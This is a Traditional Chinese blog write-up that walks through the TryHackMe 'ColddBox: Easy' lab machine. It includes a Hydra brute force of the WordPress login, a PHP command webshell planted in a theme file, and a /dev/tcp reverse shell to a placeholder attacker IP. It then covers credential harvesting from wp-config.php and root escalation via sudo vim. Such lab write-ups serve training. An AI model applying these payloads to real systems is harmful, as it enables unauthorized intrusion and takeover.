> ## Content Index > Fetch the complete content index at: https://taiwanding.com/llms.txt > Use this file to discover other available public pages before exploring further. # TryHackMe ColddBox: Easy writeup (zh-TW) - URL: https://taiwanding.com/tryhackme-colddbox-easy-writeup-zh-tw/ - Published: 2025-11-13T07:31:08.000Z - Updated: 2026-07-15T02:50:25.000Z - Author: Kevin Chen - Tags: tryhackme, #wordpress, CTF ## 題目資訊 - **平台**: TryHackMe / VulnHub - **房間名稱**: ColddBox: Easy - **難度**: Easy - **目標**: 獲取 user.txt 和 root.txt - **連結**: [https://tryhackme.com/room/colddboxeasy](https://tryhackme.com/room/colddboxeasy?ref=taiwanding.com) ## 解題流程 ### Step 1: 初步偵察 - Nmap 掃描 首先對目標進行端口掃描： ```bash rustscan -a 10.201.10.88 -b 2000 -t 2000 -- -A -sV -sC ``` 掃描結果: ``` PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: WordPress 4.1.31 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: ColddBox | One more machine 4512/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 ``` 發現: ✅ **HTTP (80)** \- Apache + WordPress 4.1.31 ✅ **SSH (4512)** \- 非標準端口的 SSH ### Step 2: 目錄枚舉 - 發現隱藏使用者 使用 Gobuster 掃描隱藏目錄： ```bash gobuster dir -u http://10.201.10.88 -w /usr/share/wordlists/dirb/common.txt ``` 發現目錄: ``` /hidden (Status: 301) ⭐ /wp-admin (Status: 301) /wp-content (Status: 301) /wp-includes (Status: 301) ``` 訪問 `/hidden` 目錄： ```bash curl http://10.201.10.88/hidden ``` 內容: ``` U-R-G-E-N-T C0ldd, you changed Hugo's password, when you can send it to him so he can continue uploading his articles. Philip ``` 關鍵資訊: 💡 識別出三個潛在使用者: **c0ldd**, **hugo**, **philip** 💡 提示 c0ldd 是管理員（修改了 Hugo 的密碼） ### Step 3: WordPress 密碼爆破 使用 Hydra 針對 c0ldd 用戶爆破密碼： ```bash hydra -l c0ldd -P /usr/share/wordlists/rockyou.txt 10.201.10.88 \ http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:F=incorrect" \ -t 16 -V -f ``` 爆破過程: ``` [ATTEMPT] target 10.201.10.88 - login "c0ldd" - pass "123456" [ATTEMPT] target 10.201.10.88 - login "c0ldd" - pass "password" ... [80][http-post-form] host: 10.201.10.88 login: c0ldd password: 9876543210 [STATUS] attack finished for 10.201.10.88 (valid pair found) ``` 成功找到憑證! 🎉 💡 **憑證**: `c0ldd:9876543210` ### Step 4: WordPress 後台植入 Webshell 登入 WordPress： ``` http://10.201.10.88/wp-login.php Username: c0ldd Password: 9876543210 ``` 登入成功後，前往 **Appearance → Editor → 404.php** 插入簡單的 PHP reverse shell（在檔案最上方）： ```php "; system($_GET['cmd']); echo ""; } ?> ``` 點擊 **Update File** 更新檔案。 測試命令執行: ```bash curl "http://10.201.10.88/wp-content/themes/twentyfifteen/404.php?cmd=id" ``` 輸出: ``` uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` 成功獲得命令執行! ✅ ### Step 5: 或是利用反向 Shell（可選） 在攻擊機開啟 listener: ```powershell # Windows PowerShell ncat -lvnp 4444 ``` 在 webshell 執行反向 shell payload: ```bash curl "http://10.201.10.88/wp-content/themes/twentyfifteen/404.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/YOUR_IP/4444%200%3E%261%27" ``` 或直接在瀏覽器訪問: ``` http://10.201.10.88/wp-content/themes/twentyfifteen/404.php?cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' ``` 成功獲得 shell! 🎉 穩定化 shell: ```bash python3 -c 'import pty;pty.spawn("/bin/bash")' ``` ### Step 6: 橫向移動 (www-data → c0ldd) 探索 WordPress 配置檔： ```bash cat /var/www/html/wp-config.php | grep -i password ``` 發現 MySQL 密碼: ```php define('DB_USER', 'c0ldd'); define('DB_PASSWORD', 'cybersecurity'); ``` 關鍵發現: 💡 MySQL 密碼: **cybersecurity** 💡 嘗試密碼重用攻擊! 切換到 c0ldd 用戶: ```bash su c0ldd # Password: cybersecurity ``` 成功! 🎉 ```bash whoami # c0ldd id # uid=1000(c0ldd) gid=1000(c0ldd) groups=1000(c0ldd)... ``` 獲取 user flag: ```bash cd ~ cat user.txt ``` Flag 內容: ``` Redacted== ``` 解碼 Base64: ```bash echo "RmVsaWNpZGFkZXMsIHByaW1lciBuaXZlbCBjb25zZWd1aWRvIQ==" | base64 -d # Felicidades, primer nivel conseguido! # (恭喜，第一關完成！) ``` ### Step 7: 權限提升 (c0ldd → root) 檢查 sudo 權限: ```bash sudo -l ``` 輸出: ``` User c0ldd may run the following commands on ColddBox-Easy: (root) /usr/bin/vim (root) /bin/chmod (root) /usr/bin/ftp ``` 關鍵發現: ⭐ c0ldd 可以用 sudo 執行 **vim**, **chmod**, **ftp** 💡 這些都可以用來提權到 root! **使用 vim 提權** ```bash sudo vim -c ':!/bin/sh' ``` 成功獲得 root shell! 🎉 ```bash whoami # root id # uid=0(root) gid=0(root) groups=0(root) ``` 獲取 root flag: ```bash cd /root cat root.txt ``` Flag 內容: ``` Redacted= ``` 解碼: ```bash echo "wqFGZWxpY2lkYWRlcywgbcOhcXVpbmEgY29tcGxldGFkYSE=" | base64 -d # ¡Felicidades, máquina completada! # (恭喜，機器完成！) ``` 完成! 🏆 ## 技術要點總結 ### 1\. WordPress 密碼爆破 ```bash # Hydra hydra -l USER -P rockyou.txt TARGET \ http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect" -t 16 -f # WPScan wpscan --url http://TARGET -U USER -P rockyou.txt ``` ### 2\. 密碼重用檢查 ```bash cat /var/www/html/wp-config.php | grep password ``` ## 經驗分享 ### 關於Step 3: WordPress 密碼爆破 一開始筆者是先用burp suite爆破出hugo、philip，根本沒有找到那個/hidden路徑，結果爆破了一陣子沒結果，才回頭去找其他資訊，因為印象中wordpress的常見路徑就是這樣，所以也是要視情況調整。 ### 關於Step 7: 權限提升 (c0ldd → root) 其實有好幾種提權方法，可以都試試看\~詳細可以參考 [GTFOBins![](https://taiwanding.com/content/images/icon/logo-2.png)![](https://taiwanding.com/content/images/thumbnail/logo-1.png)](https://gtfobins.github.io/?ref=taiwanding.com)